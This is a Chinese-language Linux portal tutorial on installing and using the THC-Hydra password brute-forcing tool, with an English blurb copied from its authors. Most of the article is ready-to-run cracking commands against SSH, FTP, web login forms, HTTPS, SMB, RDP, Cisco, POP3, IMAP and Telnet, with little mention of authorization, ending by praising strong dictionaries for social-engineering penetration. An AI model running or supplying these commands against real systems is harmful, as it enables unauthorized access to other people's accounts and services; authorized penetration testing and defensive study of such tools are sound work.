一、简介
Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast.
Hydra was tested to compile on Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1 and OSX, and is made available under GPLv3 with a special OpenSSL license expansion.
Currently this tool supports:
AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
For HTTP, POP3, IMAP and SMTP, several login mechanisms like plain and MD5 digest etc. are supported.
This tool is a proof of concept code, to give researchers and security consultants the possiblity to show how easy it would be to gain unauthorized access from remote to a system.
The program is maintained by van Hauser and David Maciejak.
The Hackers Choice
http://www.thc.org/thc-hydra
二、安装
1、安装相关依赖包
Ubuntu/Debian
apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev hydra Debian和Ubuntu发行版,源里自带hydra,直接用apt-get在线安装。
RedHat/Fedora
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-develOpenSUSE
zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel本实验用的是 CentOS release 5.6 (Final),执行yum install 后相关依赖包安装
2、Hydra 安装
# wget
http://www.thc.org/releases/hydra-7.4.1.tar.gz
# tar zxvf hydra-7.4.1.tar.gz
# cd hydra-7.4.1
# ./configure
# make && make install
# ./configure 会检测当前系统一些组件配置,主要是对于破解支持模块的检测,可根据需要安装对应的支持库和依赖包。
# make
# make install
三、Syntax
# hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]
-R
继续从上一次进度接着破解
-S
大写,采用SSL链接
-s
小写,可通过这个参数指定非默认端口
-l
指定破解的用户,对特定用户破解
-L
指定用户名字典
-p
小写,指定密码破解,少用,一般是采用密码字典
-P
大写,指定密码字典
-e
可选选项,n:空密码试探,s:使用指定用户和密码试探
-C
使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
-M
指定目标列表文件一行一条
-o
指定结果输出文件
-f
在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
-t
同时运行的线程数,默认为16
-w
设置最大超时的时间,单位秒,默认是30s
-v / -V
显示详细过程
server
目标ip
service
指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql Oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
OPT
可选项
四、实例
1、手动创建用户名字典和密码字典,这里只是为了演示,只加了几个用户名和弱口令。真正破解时,需要利用密码字典生成器生成强大的字典。
2、破解ssh:
# hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh
破解成功,直接显示结果。
也可以使用 -o 选项指定结果输出文件。
# hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.1.104 ssh
五、其他类型密码破解
破解ftp:
# hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
# hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
get方式提交,破解web登录:
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
post方式提交,破解web登录:
该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:
假设有以上一个密码登录表单,我们执行命令:
# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:invalido ”
说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
后面参数是网页中对应的表单字段的name 属性,后面中的内容是表示错误猜解的返回信息提示,可以自定义。
<br>
<br> 破解https:
<br>
<br># hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
<br>
<br> 破解teamspeak:
<br>
<br># hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
<br>
<br> 破解cisco:
<br>
<br># hydra -P pass.txt 10.36.16.18 cisco
<br># hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
<br>
<br> 破解smb:
<br>
<br># hydra -l administrator -P pass.txt 10.36.16.18 smb
<br>
<br> 破解pop3:
<br>
<br># hydra -l muts -P pass.txt my.pop3.mail pop3
<br>
<br> 破解rdp:
<br>
<br># hydra ip rdp -l administrator -P pass.txt -V
<br>
<br> 破解http-proxy:
<br>
<br># hydra -l admin -P pass.txt http-proxy://10.36.16.18
<br>
<br> 破解imap:
<br>
<br># hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
<br># hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
<br>
<br> 破解telnet
<br>
<br># hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
<br>
<br>六、总结
<br>
<br>此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果。
<br>
<br>来源:Linux社区
</div>
</div>
<div class="jiaocheng">
<div class="wenzhang">
文章评论
</div>
<div class="post_content">
<div class="responsesWrapper">
<h3 class="comments-title">共有 <span class="commentCount">0</span> 条评论</h3>
<ol class="commentlist">
</ol>
<ol class="commentlist">
<li class="comment">
<div class="media">
</div>
</li>
</ol>
<div class="respond" role="form">
<form action="" method="post" class="commentform">
<textarea class="form-control" rows="3" id="comment" onkeydown="if(event.ctrlKey&&event.keyCode==13){document.getElementById('submit').click();return false};" placeholder="当你的才华还撑不起你的野心时,那你就应该静下心来评论下..." tabindex="1" name="comment"></textarea>
<div class="commentform-info">
<label id="author_name" for="author">
<input class="form-control" id="author" type="text" tabindex="2" value="" name="author" placeholder="昵称[必填]" required="">
</label>
</div>
<div class="btn-group commentBtn" role="group">
<input name="submit" type="submit" id="submit" class="btn btn-sm btn-danger btn-block" value="发表评论">
</div>
<input type="hidden" name="tid" value="418592">
</form>
</div>
</div>
</div>
</div>
<div class="jiaocheng pindaosuiji">
<h3>频道文章</h3>
<ul class="linuxdiyfwenzhang">
<li><a href="view_106736.html" target="_blank">LinuxWorld China 2008 11月举办</a></li>
<li><a href="view_106760.html" target="_blank">LinuxWorld China 2007用户专场某一视频</a></li>
<li><a href="view_106764.html" target="_blank">Linux World China 2008会场介绍</a></li>
<li><a href="view_106960.html" target="_blank">微软会参加今年的Linux大会吗?</a></li>
<li><a href="view_109438.html" target="_blank">LinuxWorld2008 邀请函</a></li>
<li><a href="view_121147.html" target="_blank">除了LinuxWorld China,国内还有哪个Linux大会</a></li>
<li><a href="view_137837.html" target="_blank">送上以往LinuxWorld China大会的图片</a></li>
<li><a href="view_141951.html" target="_blank">红联对LinuxWorld China也太有感情了</a></li>
<li><a href="view_145461.html" target="_blank">有关Linux,开源的大会都是商业成分</a></li>
<li><a href="view_147516.html" target="_blank">LinuxWorld China是从什么时候起在中国开的</a></li>
</ul>
</div>
</div>
<div class="linuxtuijian">
<div class="tbox">
<h3>最新教程</h3>
<ul class="tuijianjiaocheng">
<li><a href="view_534536.html" target="_blank">ZFS Will Be Baked Directly into Ubuntu 16.04 LTS and Supported by Canonical</a></li>
<li><a href="view_426908.html" target="_blank">ubantu 14.04 桌面版 如何进行上网设置?</a></li>
<li><a href="view_426150.html" target="_blank">Linux系统教程频道已进行了改版</a></li>
<li><a href="view_422444.html" target="_blank">安装ubuntu 14.10教程</a></li>
<li><a href="view_419804.html" target="_blank">龙鑫操作系统(LX OS)技术手册</a></li>
<li><a href="view_419665.html" target="_blank">节选部分Linux系统教程</a></li>
<li><a href="view_419002.html" target="_blank">Linux系统教程频道更新的一些文章</a></li>
<li><a href="view_418701.html" target="_blank">Ubuntu下使用MentoHUST代替锐捷认证上网</a></li>
<li><a href="view_418700.html" target="_blank">Ubuntu安装JDK及环境变量配置</a></li>
<li><a href="view_418699.html" target="_blank">SecureCRT登陆虚拟机中Ubuntu详解</a></li>
</ul>
</div>
</div>
<div class="linuxtuijian">
<div class="tbox">
<h3>随机推荐</h3>
<ul class="tuijianjiaocheng">
<li><a href="view_106738.html" target="_blank">Growth兆维护和管理LinuxWorld China区</a></li>
<li><a href="view_106749.html" target="_blank">微软参加LinuxWorld China是闹场还是示好</a></li>
<li><a href="view_106762.html" target="_blank">前届:红联无缘赞助LinuxWorld China2007</a></li>
<li><a href="view_106766.html" target="_blank">Linux World China 2008大会指导委员会</a></li>
<li><a href="view_107119.html" target="_blank">欢迎给LinuxWorld China2008提意见建议</a></li>
<li><a href="view_114644.html" target="_blank">LinuxWorld China 2008开源演讲专家及演讲稿征集</a></li>
<li><a href="view_120323.html" target="_blank">LinuxWorld什么时候开</a></li>
<li><a href="view_121147.html" target="_blank">除了LinuxWorld China,国内还有哪个Linux大会</a></li>
<li><a href="view_125864.html" target="_blank">今年的LinuxWorldChina大会什么时候开</a></li>
<li><a href="view_127857.html" target="_blank">建议把LinuxWorld China改为LinuxChina</a></li>
</ul>
</div>
</div>
</div>
<div class="footer">
<p>
<a href="http://www.linuxdiyf.com/about/" target="_blank" rel="nofollow">关于我们</a>
|
<a href="http://www.linuxdiyf.com/about/hezuo.htm" target="_blank" rel="nofollow">合作</a>
|
<a href="http://www.linuxdiyf.com/about/contact.htm" target="_blank" rel="nofollow">联系我们</a>
</p>
<p>
© linuxdiyf.com 红联Linux门户 版权所有
</p>
<script>
(function(){
var bp = document.createElement('script');
bp.src = '//push.zhanzhang.baidu.com/push.js';
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
})();
</script>
</div>
</body>
</html>